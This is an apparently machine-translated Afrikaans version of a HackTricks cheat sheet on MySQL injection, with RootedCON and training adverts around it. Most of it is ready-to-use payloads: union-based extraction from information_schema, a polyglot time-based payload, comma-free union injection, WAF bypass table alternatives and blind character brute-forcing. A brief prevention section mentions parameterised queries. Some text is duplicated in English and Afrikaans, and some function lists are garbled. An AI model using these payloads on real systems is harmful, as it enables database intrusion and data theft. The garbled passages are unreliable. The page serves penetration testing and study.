MySQL injection

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON is die mees relevante kuberveiligheidsevenement in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.

Kommentaar

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interessante Funksies

Bevestig Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Nuttige funksies

Here are some useful functions that can be used in MySQL injection attacks:

Hier is 'n paar nuttige funksies wat gebruik kan word in MySQL-injeksie aanvalle:

  • version(): Returns the version of the MySQL server.

  • database(): Returns the name of the current database.

  • user(): Returns the username used to connect to the MySQL server.

  • current_user(): Returns the current MySQL user.

  • @@hostname: Returns the hostname of the MySQL server.

  • @@datadir: Returns the data directory of the MySQL server.

  • @@basedir: Returns the base directory of the MySQL server.

  • @@version_compile_os: Returns the operating system on which the MySQL server is running.

  • @@secure_file_priv: Returns the secure file privilege value.

  • @@global.version_compile_os: Returns the operating system on which the MySQL server is running (global scope).

  • @@global.secure_file_priv: Returns the secure file privilege value (global scope).

  • version(): Gee die weergawe van die MySQL-bediener terug.

  • database(): Gee die naam van die huidige databasis terug.

  • user(): Gee die gebruikersnaam terug wat gebruik word om met die MySQL-bediener te verbind.

  • current_user(): Gee die huidige MySQL-gebruiker terug.

  • @@hostname: Gee die gasheernaam van die MySQL-bediener terug.

  • @@datadir: Gee die data-gids van die MySQL-bediener terug.

  • @@basedir: Gee die basisgids van die MySQL-bediener terug.

  • @@version_compile_os: Gee die bedryfstelsel waarop die MySQL-bediener loop terug.

  • @@secure_file_priv: Gee die veilige lêer-voorregwaarde terug.

  • @@global.version_compile_os: Gee die bedryfstelsel waarop die MySQL-bediener loop terug (globale omvang).

  • @@global.secure_file_priv: Gee die veilige lêer-voorregwaarde terug (globale omvang).

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Alle inspuiting

In die wêreld van webtoepassingsbeveiliging is inspuiting 'n algemene aanvalstegniek wat gebruik word om kwaadwillige kode in 'n toepassing se databasis in te spuit. Hierdie kode kan dan uitgevoer word deur die toepassing, wat die aanvaller toegang gee tot sensitiewe inligting of selfs die volle beheer oor die toepassing.

Een van die mees algemene vorme van inspuiting is SQL-inspuiting, wat spesifiek gerig is op databasisgebaseerde toepassings wat gebruik maak van SQL (Structured Query Language). Hierdie tipe inspuiting maak gebruik van swakheid in die manier waarop die toepassing gebruikersinsette verwerk en dit direk in SQL-aanvrae invoeg sonder behoorlike sanitasie of validering.

MySQL is 'n gewilde databasisstelsel wat dikwels gebruik word in webtoepassings. Hier is 'n paar algemene tegnieke vir MySQL-inspuiting:

  1. Union-inspuiting: Hierdie tegniek maak gebruik van die UNION-klousule in SQL om data van 'n ander tabel in die databasis in te sluit. Dit kan gebruik word om inligting oor die databasisstruktuur te verkry of om data van ander tabelle te ontsluit.

  2. Blind inspuiting: Hierdie tegniek maak gebruik van 'n waarheidsgebaseerde benadering om te bepaal of 'n inspuiting suksesvol was of nie. Dit behels die gebruik van SQL-aanvrae wat waar of vals terugvoer, afhangende van die waarheid van 'n spesifieke voorwaarde. Deur hierdie aanval te gebruik, kan 'n aanvaller geleidelik sensitiewe inligting ontsluit.

  3. Error-based inspuiting: Hierdie tegniek maak gebruik van die veroorsaking van 'n fout in die SQL-aanvraag om inligting oor die databasis te verkry. Dit kan gedoen word deur spesifieke karakters of sintaksfoute in te sluit wat 'n SQL-fout veroorsaak en die foutboodskap bevat waaruit die aanvaller inligting kan aflei.

  4. Time-based inspuiting: Hierdie tegniek maak gebruik van 'n vertraging in die SQL-aanvraag om te bepaal of 'n inspuiting suksesvol was of nie. Dit behels die gebruik van SQL-aanvrae wat 'n vertraging veroorsaak as 'n spesifieke voorwaarde waar is. Deur die tydsvertraging te monitor, kan 'n aanvaller aflei of die inspuiting suksesvol was.

Dit is belangrik om te verstaan dat inspuiting 'n ernstige beveiligingsrisiko vir webtoepassings is. Dit is noodsaaklik vir ontwikkelaars om behoorlike sanitasie en validering van gebruikersinsette te implementeer om inspuitingsaanvalle te voorkom.

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

van https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Vloei

Onthou dat in "moderne" weergawes van MySQL jy "information_schema.tables" kan vervang met "mysql.innodb_table_stats**_" (Dit kan nuttig wees om WAFs te omseil).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Slegs 1 waarde

  • group_concat()

  • Limit X,1

Blind een vir een

  • substr(version(),X,1)='r' of substring(version(),X,1)=0x70 of ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

Blind byvoeging

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

Bepaal die aantal kolomme

Deur gebruik te maak van 'n eenvoudige ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Unie Gebaseer

MySQL Union Based is 'n tipe SQL-injeksie-tegniek wat gebruik word om data uit 'n databasis te onttrek deur die UNION-klausaal te misbruik. Hierdie tegniek maak gebruik van 'n UNION-klausaal om die resultate van twee of meer SQL-aanvrae te kombineer en terug te stuur as een enkele resultaatstel. Dit kan gebruik word om sensitiewe inligting soos gebruikersname, wagwoorde en ander data te verkry.

Hoe werk dit?

Die MySQL Union Based-tegniek maak gebruik van die UNION-klausaal om die resultate van twee of meer SQL-aanvrae te kombineer. Die UNION-klausaal vereis dat die resultaatstelle van die betrokke aanvrae dieselfde aantal kolomme en tipes het. Deur die UNION-klausaal te misbruik, kan 'n aanvaller 'n kwaadwillige SQL-instruksie invoeg wat die resultate van die oorspronklike aanvraag uitbrei om die gewenste data in te sluit.

Stappe vir 'n Union Based SQL-injeksie

  1. Identifiseer 'n kwesbare invoerveld waarin SQL-injeksie moontlik is.

  2. Voer 'n eenvoudige SQL-instruksie in om die aantal kolomme in die resultaatstel te bepaal.

  3. Verkry die tipes van die kolomme in die resultaatstel.

  4. Bou 'n kwaadwillige SQL-instruksie met behulp van die UNION-klausaal om die gewenste data in te sluit.

  5. Voer die kwaadwillige SQL-instruksie in die invoerveld in en onttrek die gewenste data.

Voorbeelde

Hier is 'n voorbeeld van 'n Union Based SQL-injeksie in 'n MySQL-databasis:

SELECT column1, column2 FROM table1 UNION SELECT column1, column2 FROM table2

In hierdie voorbeeld word die resultate van twee aanvrae gekombineer deur die UNION-klausaal te gebruik. Die resultaatstel sal die kolomme column1 en column2 van beide table1 en table2 insluit.

Voorkoming van Union Based SQL-injeksies

Om Union Based SQL-injeksies te voorkom, is dit belangrik om korrekte invoerverifikasie en parameterisering te implementeer. Hier is 'n paar maatreëls wat geneem kan word:

  • Gebruik parameterisering of voorbereide verklarings om insette te ontsmet en te verhoed dat dit as deel van die SQL-instruksie geïnterpreteer word.

  • Beperk die toegang van die databasisgebruiker tot slegs die nodige funksies en data.

  • Implementeer 'n veilige ontwikkelingspraktyk deur insetverifikasie en uitsetontsmetting te doen.

  • Moedig die gebruik van veilige kodeerpraktyke aan, soos die gebruik van voorbereide verklarings en parameterisering.

Deur hierdie maatreëls te implementeer, kan die risiko van Union Based SQL-injeksies verminder word en die veiligheid van 'n toepassing of webwerf verhoog word.

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Leer hier verskillende opsies om 'n Mysql-injeksie te misbruik om 'n SSRF te verkry hier.

WAF omseilingswenke

Alternatiewe vir information_schema

Onthou dat in "moderne" weergawes van MySQL jy information_schema.tables kan vervang met mysql.innodb_table_stats of met sys.x$schema_flattened_keys of met sys.schema_table_statistics

MySQL-injeksie sonder KOMMAS

Kies 2 kolomme sonder om enige komma te gebruik (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Waardes ophaal sonder die kolomnaam

As jy op 'n punt kom waar jy die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om uit te vind hoeveel kolomme daar is deur iets soos die volgende uit te voer:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Veronderstel dat daar 2 kolomme is (waarvan die eerste die ID is) en die ander een die vlag is, kan jy probeer om die inhoud van die vlag te bruteforce deur karakter vir karakter te probeer:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Meer inligting in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

MySQL geskiedenis

Jy kan ander uitvoerings binne die MySQL sien deur die tabel te lees: sys.x$statement_analysis

Alternatiewe weergawes

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Ander MYSQL-injeksiegidse

Verwysings

​​​​RootedCON is die mees relevante sibersekuriteitsgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Last updated